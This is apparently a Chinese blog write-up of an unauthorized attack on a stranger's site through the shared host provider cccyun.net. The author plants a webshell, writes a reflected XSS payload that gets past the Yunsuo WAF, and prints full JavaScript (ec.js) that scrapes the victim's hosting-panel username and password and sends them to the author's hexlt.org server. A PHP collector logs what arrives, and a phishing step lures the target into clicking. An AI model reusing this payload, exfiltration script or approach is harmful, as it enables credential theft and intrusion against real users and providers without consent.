起因
在娱乐群发现一个大兄弟画风清奇
恩,的确很非主流。点开他资料
发现一个网址
恩,很黑阔
好久没日站了,手痒了,看看他这个站吧
信息收集
主站全部是静态文件,没有交互的的地方,连各种查询都是列一个表然后ctrl+f查询...
基本上主站程序上是没有口子了,做一下其他的信息收集
微步在线查一下他的域名
ip反查域名发现有1000个域名指向这个地址
猜测是虚拟空间之类的
翻一下
发现一个旁站域名,访问看看
彩虹云主机,恩试一下
居然有免费主机,注册登录之
申请一个免费主机
发现我刚刚申请的主机和对方主机是同一个ip
主机面板使用的是easypanel,没有新漏洞
有一个开在3133的phpmyadmin,普通用户权限 版本4.0.20 没有新漏洞
尝试提权
传一个大马到我刚刚申请的虚拟空间,看看能不能提权
读一下phpinfo
检查disable_functions
发现可执行shell命令的都被禁用了。。
exec,passthru,shell_exec,system,proc_open,proc_close,proc_get_status,popen,show_source,disk_free_space,disk_total_space,chroot,chgrp,chown,dl,readlink,symlink,putenv,openlog,syslog
连putenv也禁用了,试了各种方法都没办法绕过disable_functions
陷入僵局.jpg
想起/tmp/目录是任何用户都可写的,同时php的session文件也会存在这里
格式为sess_+sessionid
本来想尝试能不能找一个高权限的sessionid登录phpmyadmin,最后发现云主机上各种网站都会往这里存session
,phpmyadmin的session文件只是其中一小部分
1000多个网站的session文件数量还是很恐怖的,我决定暂时放下这条路,找一找云主机供应商有没有什么漏洞
转战云主机供应商
重点测试云主机供应商注册登录,找回密码功能,个人资料修改功能
为了测试,注册了俩帐号,检查有没有垂直越权,平行越权等操作
不过这里用户帐户相关功能经过测试都没有问题,个人资料修改处有一个长度为5的selfxss,并没有什么软用
这时发现修改密码等功能,成功时会返回一个参数
https://www.cccyun.net/index.php/user/index/?success=修改成功&referer=xxx https://www.cccyun.net/index.php/user/index/?error=操作失败&referer=xxxx
尝试更改返回内容的信息
这里大概率存在一处反射型xss
深入测试发现,有云锁waf script等关键字会被拦截
同时后端会匹配尖括号,存在闭合的尖括号会被过滤 猜测匹配正则是<.*?>
同时网站还有一个bug,多加一个/会无限跳转,导致触发cc waf 封ip..
简单测试,绕过云锁
利用浏览器容错性,写一个不闭合的script标签,同时/用url编码%2f绕过
<sc<aaa>ript src=https:%2f%2ftest66-1252849447.cos.ap-chengdu.myqcloud.com%2fxxx.js <!--
成功插入
构造钓鱼脚本
问题来了,如何获得管理权限呢?直接xss获取到cookie,然后拿对方cookie登录当然可以,不过有更简便的方法
因为产品管理这里已经有了面板用户名和密码,只要拿js获取这一段字符串就行
脚本主要分四部分
- 获取用户的产品id
- 根据产品id访问控制页面
- 获取用户名密码并发送到我的服务器
- 跳转到其他页面完成社工伪装
ec.js:
$.get("https://www.cccyun.net/index.php/control/index/",function(userdata){ manageurl=userdata.match(/index.php.control.detail.\d*/); $.get("https://www.cccyun.net/"+manageurl[0],function(managedata){ pass=managedata.match(/:<\/strong><br>.*s\d*.*?<\/p>/) payload=pass[0].replace(":</strong><br>","").replace("</p>","") $.get("https://www.hexlt.org/xss.php?data="+btoa(payload),function(datas){},"jsonp") }) }) function callbackjump(){ window.location.href="https://tools.hexlt.org/nmap"; }
xss.php:
<?php header("Content-type: application/javascript; charset=utf-8"); if (isset($_GET['data'])){ file_put_contents("goodnews.txt", base64_decode($_GET['data']).PHP_EOL, FILE_APPEND); die("callbackjump()"); } ?>
社工目标
小号加上对方好友
上钩 打马的就是目标
尝试登录
结束